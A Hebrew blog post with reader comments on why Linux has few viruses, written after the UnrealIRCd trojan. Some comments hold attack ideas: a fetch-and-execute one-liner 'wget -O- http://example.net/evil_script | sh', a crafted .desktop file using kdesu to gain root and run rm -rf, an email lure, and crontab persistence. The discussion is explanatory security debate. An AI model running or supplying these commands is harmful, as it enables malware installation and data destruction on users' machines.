וירוס ללינוקס?

יצא לי לקרוא לפני מס' ימים את כתבתו של ניב ליליאן על סוס טרויאני שנמצא בתוכנת שרת IRC (בשם UnrealIRCd) ותהייתו האמנם ללינוקס אין וירוסים.

נתחיל בעובדה פשוטה אחת: האם אפשר לכתוב וירוס שירוץ על לינוקס? התשובה היא חד משמעית: כן. תמיד אפשר לכתוב סקריפט שיעשה נזקים גדולים, שידע לטעון דברים אחרים (אם יש תקשורת החוצה) ואם הסקריפט ינצל פרצות קיימות ידועות שלא נסגרו, יהיה אפשר עם הסקריפט לתת למשתמש רגיל הרשאות root ומכאן והלאה הנזק שניתן לגרום יהיה ממשי ומבעית. אפשר יהיה לגרום לוירוס לרוץ כל פעם שמשתמש מתחבר לשרת ב-ssh לדוגמא ע"י הוספת שורה אחת ב-bashrc / bash_profile (תלוי בנסיבות), אפשר יהיה לגרום לסקריפט להשתמש להשתמש במפתחות שנמצאות בתיקית ssh. כדי לחדור למחשבים אחרים ו"להדביק" אותם.

כל הדברים האלו ידועים לכל אחד שמבין באבטחה בלינוקס ובניהול של רשתות לינוקס, ובכל זאת, כמות הוירוסים ללינוקס קטנה לחלוטין. מדוע? לכך יש מספר סיבות:

  • תוכניות שנכתבות ב-bash/tcsh או ב-perl או python וכו' כשהן מורדות דרך דפדפן אינן מסוגלות לרוץ לאחר ההורדה. בשביל שקובץ יוכל לרוץ, חייב להיות לאותו קובץ ביט דלוק בהרשאות שלו ואות ביט נקרא Executable (או בקיצור: x). בלי הביט הזה, אם ננסה לפתוח אותו דרך מנהלי הקבצים של KDE או GNOME, יפתח עורך טקסטים עם תוכן הקובץ. הוא פשוט לא ירוץ, ובשביל להריץ אותו יש צורך בהרצאה ידנית: או להפעיל את הביט של executable לגבי הקובץ ואז להפעיל, או להשתמש ב-sh (או בפקודה שצריך, בהתאם לשפה שבה נכתבה התוכנה, כמו perl או python או php וכו'), כלומר אין אפשרות שאדם שלא מכיר לינוקס יוריד סקריפט, ילחץ עליו והסקריפט ירוץ אחרי הקלקה.
  • קיימים קבצי "חבילות" בינאריות כמו RPM או DEB להפצות לינוקס שונות, אולם גם כאן ישנם אמצעי מניעה ואזהרה. רוב המשתמשים מתקינים תוכנות אך ורק דרך מאגרים רשמיים (repositories) וכל מאגר חתום בחתימה מיוחדת שאותה יש לייבא לפני שימוש במאגר חיצוני. אמצעי מניעה נוסף הוא הצורך בסיסמת root על מנת להתקין קבצים בינאריים אלו. אין סיסמא, אין התקנה.
  • המאגרים שהזכרתי בסעיף הקודם מנוהלים ע"י אנשים אחראים ובמקרים רבים אותם מנהלים הם הם אלו שבונים את החבילות הבינאריות ולא כל טלאי קוד עלום מוכנס כך סתם לתוך החבילות הבינאריות, כך שהסיכוי לכך שחבילה בינארית תצא עם קוד זדוני הוא די קטן.
  • מודעות לאבטחה: בניגוד ליצרניות מערכות הפעלה אחרות שלוקחות את עניין אבטחה המידע כאקט שיווקי ורק לאחר מכן יישומי, יצרני ההפצות לוקחים את עניין האבטחה מאוד ברצינות ומיישמים זאת בהפצות השונות של לינוקס. התקנת CentOS או Fedora לדוגמא ישאלו לאחר סיום ההתקנה איזה שרותים הינך רוצה להריץ ועל איזה יציאת רשת הינך "סומך", כדי שהמערכת תכתוב אוטומטית חוקים לחסום את השאר. בניגוד למיקרוסופט שמציגים חלון השואל אם לפתוח פורט לאפליקציה (והמשתמשים, גם כשאין להם מושג מה החלון אומר, לוחצים "yes"), בלינוקס אתה צריך לפתוח פורט ידנית בחומת האש לאפליקציה אם היא צריכה תקשורת מבחוץ פנימה, ובמקרים מסויימים גם צריך לשנות את חומת האש לשם התקשרות מבפנים החוצה.

שום הפצת לינוקס אינה חסינה מוירוסים וטריקים שונים, אולם המודעות לעניין אבטחה ועדכוני אבטחה היא הרבה יותר גבוהה ממה שקורה בעולם של מיקרוסופט. הדוגמא הכי פשוטה להתנהגות גרועה היא דווקא מהצד של מיקרוסופט: אנשים רבים מפחדים להתקין עדכוני אבטחה כשהמערכת שלהם אינה חוקית והם חוששים שמיקרוסופט יכניסו להם "בסיבוב" איזה "עדכון אבטחה" שישבית להם את מערכת ההפעלה, ולכן הם מתעלמים מכל אזהרת אבטחה. התוצאה? מאות אלפי מחשבים בעולם הם לא יותר ממחשבים "זומבי" המשמשים כ"עבדים" לרשתות בוטנט שונות הזורעות הרס בכל מיני כיוונים (התקפות DDOS, הפצת דואר זבל, וירוסים ושאר מרעין בישין). ב-לינוקס אף אחד לא יחסום אותך עם טריקים כאלו וכל מה שלוקח להתקין עדכוני אבטחה הם 2-3 קליקים. כל זה מוביל לכך שבלינוקס מאוד נדיר למצוא וירוס כלשהו וחברות המייצרות אנטי וירוסים מייצרות תוכנה גם עבור לינוקס, אך השימוש שלה הוא בד"כ כדי להתממשק לשרת הדואר הארגוני ולסרוק מיילים יוצאים ונכנסים.

אותו עניין שהיה עם תוכנת UnrealIRCd הוא דבר שיכול לקרות, אך מכל דבר לומדים וגם הקהילות לינוקס השונות ילמדו ויפיקו לקחים. אותו אדם שהוסיף את הקוד הזדוני "נשרף" מבחינת פרוייקטים אחרים אם ירצה להתנדב בהם, וגם כשהוא ירצה להוסיף קוד לכל מיני מוצרים בקוד פתוח, במקרים רבים הקוד שלו יבדק לפני שיכנס לתוך המאגר קוד המרכזי.

Comments

comments

13 תגובות בנושא “וירוס ללינוקס?

  1. דרך אגב,
    כיום בשולחנות העבודה העדכניים, כגון KDE4 קיימים קבצים שהסיומת שלהם היא desktop לדוגמא Firefox.desktop שהתוכן שלו הוא :
    [Desktop Entry]
    X-SuSE-translate=true
    Categories=Application;Network;WebBrowser;X-Ximian-Main;X-Ximian-Toplevel;
    Name=Firefox
    Comment=Web Browser
    TryExec=firefox
    Exec=firefox %u
    Icon=firefox
    Terminal=false
    MimeType=text/html;application/xhtml+xml
    Type=Application
    NotShowIn=GNOME;
    אפשר לשלוח את הקובץ הזה בלי שום בעיה במייל ובמקום להפעיל בשורת ה Exec את firefox אפשר להריץ wget שמוריד קוד זדוני מאינטרנט. אף פיירוול לא יעצור זאת, אף אנטי וירוס לא יגלה זאת.
    אפשר אפילו להוסיף kdesu או gksu לפני הפקודה ע"מ לבקש הרשאות התקנה, והופה בקלות יש לקוד הזדוני שרץ הרשאות לעשות כרצונו במערכת שלך.
    ולכן המסקנה שלי היא שהוירוס/התולעת הכי מסוכנים שקיימים הםא בעצם המשתמשים הלא זהירים.
     

  2. חשוב גם לדעתי להגיב על העובדה שלא מדובר פה בסתם וירוס. מדובר פה יותר בניצול של המשתמש ולא של המערכת. אין מערכת שמסוגלת להתמודד מול משתמש שעושה טעויות. אפשר להשמיד מערכת שלמה אם רוצים, גם אם זה לינוקס.
    לדעתי, היתרון של לינוקס מול חלונות, היא שהיא בעלת ברירות מחדל טובות יותר אשר מלמדות ומחנכות את המשתמש לעבוד בצורה יותר בטוחה.

  3. Sagi: בגנום, ואני מניח שגם בKDE, אתה צריך לסמן את קובץ הdesktop כמיהמן לפני שתוכל להריץ אותו (אם הוא לא הותקן עם desktop-file-install), ובכך נמנע הסיכון האבטחתי שדיברת עליו.

  4. el.il :
    גם את זה הצלחתי לעקוף,
    לקחתי קובץ שסומן כמיהמן כמו ~/Desktop/myComputer.desktop
    העתקתי אותו ל /tmp/, שיניתי את הערך של Type להיות Application והוספתי Exec=kdesu xmessage "hello" קליק על הקובץ מופיע חלון בקשת סיסמאת root ולאחר הכנסת הסיסמא מופיע חלון xmessage עם הכיתוב hello בפנים.

  5. Ddorda : לפי דעתי, הרבה מאוד.
    שלח את הקובץ הזה במייל לכל רשימת התפוצה שלך, עם נושא מדליק כמו "אחלה תוכנת גיבוי שבעולם !!"
    בתוכן : "כל מה שצריך לעשות, הוא דאבל קליק, להכניס סיסמא, וזהו, פעם הבאה שתדליק את המחשב …."
    ובמקום xmessage לרשום rm -rf. אני מוכן להתערב איתך שתוך שעה אתה מאושפז בחדר מיון 🙂

    אבל זה לא משנה, כי כמו שsijp כתב : "אין מערכת שמסוגלת להתמודד מול משתמש שעושה טעויות."
    אבל זו לא הנקודה מה שבאתי להראות, אם אתה רוצה לגרום נזק למידע שיש על הדיסק אתה יכול.
    אם אתה רוצה לגנוב סיסמאות (לפייסבוק, לגימייל) ממשתמשים אתה יכול בקלות גם במערכת לינוקס.
    דוגמא, לא מזמן פורסמה הכתבה הבאה בניוזגייק
    http://www.newsgeek.co.il/tabjacking-phishing-attack/
    וכאן המקור שלה :
    http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/
    וכן, זה גם קורה בפיירפוקס על לינוקס.
    מה שאני מתכוון להגיד, אל תהיו תמימים, גם משתמשי לינוקס פגיעים.
    נ"ב : פתאום נזכרתי שלא מזמן ראיתי משתמש שנמאס לו לעשות sudo באובונטו עבור "כל שטות קטנה" ולכן הוא שינה את קובץ ה sudoers שהוא לא יצטרך להכניס סיסמא יותר. או לחילופין ראיתי המון משתמשים שגם להם נמאס להקליד סיסמא אז הם פשוט עושים לוגין למכונה כroot.
     

  6. אתם קצת שוכחים את אחד המאפיינים הכי חשובים של וירוס: היכולת להפיץ את עצמו במהירות ללא מעורבות מהותית של המשתמש.
    הוירוס אנה קורניקה לא היה מתפשט במהירות אם הוא היה מבקש סיסמת מנהל מהמשתמשים, לפחות חלק מהם לא היו נותנים למה שהם חשבו כקובץ תמונה הרשאות ניהול. הבעיה של מיקרוסופט היא שמרבית המשתמשים שלה מרגישים צורך לעבוד תמיד עם הרשאות ניהול. מנגנון ה-UAE שלה היה פשוט טורדני שכמעט כל המשתמשים ביטלו אותו.
    דבר נוסף הוא כמובן הצורך בהרשאת ריצה שלא קיים בוינדוס זה לא פשוט לעבור את זה הקף גדול.

  7. שגיא, אתה מוזמן לעשות ניסוי דומה. למיטב ידיעתי תוכנות דואר עדכניות בלינוקס לא ינסו "להריץ" קובצי desktop שמגיעים בדואר. "סימון כמהימן" הוא הרשאת executable לקובץ.

    עוד כמהפרטים על המקרה המדובר:

    * לא ברור מי הוסיף כאן את הקוד הזדוני.
    * הוא החזיק מעמד מעל לחצי שנה ללא גילוי. הוא גם נכנס להפצה אחת לפחות (ג'נטו). לא נעים.
    * התוכנה המדוברת אינה תוכנה פופולרית במיוחד. ר' הדיון על בקשה להכניסה לדביאן:
    http://bugs.debian.org/515130
    בפרט החל מ:
    http://bugs.debian.org/515130#55

  8. דב, גם ללא הרשאות root אפשר לעשות דברים מאוד נחמדים.

    בפרט:

    wget -O- http://example.net/evil_script | sh

    או עריכה של ה־crontab המקומי שיוריד הוראות נוספות מהאתר שלי.

    גם אם אתה לא root אתה יכול לשמש כזומבי שמפיץ דואר זבל או משתתף בהתקפת DDoS. ואפשר מדי פעם לנסות דרכים שונות להשגת root.

  9. הסרתי את RhythmBox מאובונטו (10.04) והתקנתי מחדש. בהתקנה מחדש קיבלתי הודעה שהקבצים אינם חתומים וזאת למרות שמדובר בהתקנה חדשה לחלוטין, של ISO שהורדתי ממראה מהימנה (איגוד האינטנרט) וההתקנה נעשתה דרך מנהל התוכנות של אובונטו. להתקין או לא? התקנתי, למרות שלא אהבתי.
    כך שלגבי החתימות באובונטו הייתי נזהר. לא בהכרח כל מה שמגיע מההפצות חתום. נקווה שלא הורדתי טרויאני.

  10. פוסט מעניין מאוד! תודה.
    מספר נקודות: מה שקרה (או- לפי איך שהציגו את זה לפחות) מדובר בכך שפרצו לשרתי ה-FTP של UnrealIRCd, כך שגורמים  עוינים החדירו את הקוד ולא המפתחים עצמם. – למרות שאני מאמין שגם זה קורה.
    צפריר: וירוס לא מפיץ את עצמו, וזה בדיוק ההבדל בינו לבין "תולעת" 🙂
    ודבר אחרון: למיטב ידיעתי, אותו סימון של "קובץ מהימן" הוא בדיוק הפעולה של הוספת הביט x.ו

  11. יתרון נוסף הוא מהירות התגובה של הפצות הלינוקס לכשלים שמתגלים – למיטב ידיעתי, הרבה יותר מהיר משל מיקרוסופט. גם השקיפות גבוהה בהרבה.
    ראה https://www.redhat.com/security/data/metrics/ – כולל כמה סטטיסטיקות, שהחשובה בהן – עבור 86% מהפרצות שוחררו תיקונים בתוך יום.

סגור לתגובות.